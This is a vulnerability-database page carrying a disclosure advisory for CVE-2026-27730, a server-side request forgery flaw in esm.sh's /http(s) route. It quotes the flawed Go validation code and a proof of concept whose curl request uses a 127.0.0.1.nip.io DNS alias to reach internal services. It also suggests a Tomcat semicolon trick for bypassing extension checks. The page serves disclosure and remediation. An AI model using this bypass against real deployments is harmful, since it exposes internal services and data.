Loading...
Skip to main content

CVE-2026-27730 — Vulnerability in github.com/esm-dev/esm.sh — CVE...

HIGH

esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route

Published February 25, 2026Updated March 9, 2026Source: osv

Summary

### Summary An SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). This allows an external requester to make the esm.sh server fetch internal localhost services. Severity: High (depending on deployment network exposure). ### Details The vulnerable flow starts at the route handling user-controlled remote URLs: - `server/router.go:532` - Accepts paths beginning with `/http://` or `/https://`. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String() // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` The internal-target block is string-based: - `server/router.go:545` ```go // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` Localhost detection itself is limited to hostname patterns: - `server/utils.go:72` - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`. - It does **not** validate the resolved destination IP after DNS resolution. ```go func isLocalhost(hostname string) bool { return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168.")) } ``` Fetch proceeds with host-string allowlisting: - `server/router.go:595-596` - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)` ```go allowedHosts := map[string]struct{}{} allowedHosts[modUrl.Host] = struct{}{} fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts) defer recycle() ``` - `internal/fetch/fetch.go:49` - Host allowlist compares host strings, not resolved IP class. ```go func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) { if c.allowedHosts != nil { if _, ok := c.allowedHosts[url.Host]; !ok { return nil, errors.New("host not allowed: " + url.Host) } } if c.userAgent != "" { if header == nil { header = make(http.Header) } header.Set("User-Agent", c.userAgent) } // ... return c.Do(req) } ``` Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections. ### PoC Reproduction tested on local Docker deployment. 1. Run esm.sh: ```bash docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest ``` 2. Run an internal localhost-only test service (`secret` response) in the same network namespace: - Internal network test server code (app.py): ```python from flask import Flask, Response @app.get('/secret.js') def secret_js(): return Response('secret;\n', mimetype='application/javascript') if __name__ == '__main__': app.run(host='0.0.0.0', port=5555) ``` Run the internal Python server container (same network namespace as `esmsh-5558`): ```bash docker run -d --name internal-5555 --network container:esmsh-5558 \ -v "<YOUR_PATH>/flask-internal:/app" -w /app \ python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py" ``` Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network. 4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access. ```bash cloudflared tunnel --url http://127.0.0.1:5558 ``` 5. Trigger SSRF from outside via esm.sh endpoint: ```bash curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js" ``` 127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" /> but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" /> This confirms external requesters can fetch internal localhost service content through esm.sh. ### Impact This is a Server-Side Request Forgery vulnerability (CWE-918). Impacted: - Any esm.sh deployment exposing the `/http(s)` route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network. Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.** - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**

Advisory Timeline

  • First published February 25, 2026 (229 days ago).
  • Last revised March 9, 2026 — 11 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa or later
go get github.com/esm-dev/esm.sh@v0.0.0-20250616164159-0593516c4cfa

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/esm-dev/esm.sh
go
All versions0.0.0-20250616164159-0593516c4cfa

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-27730?
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-27730?
CVE-2026-27730 affects github.com/esm-dev/esm.sh. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27730 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.6

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-p2v6-84h2-5x4r
GO-2026-4554

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies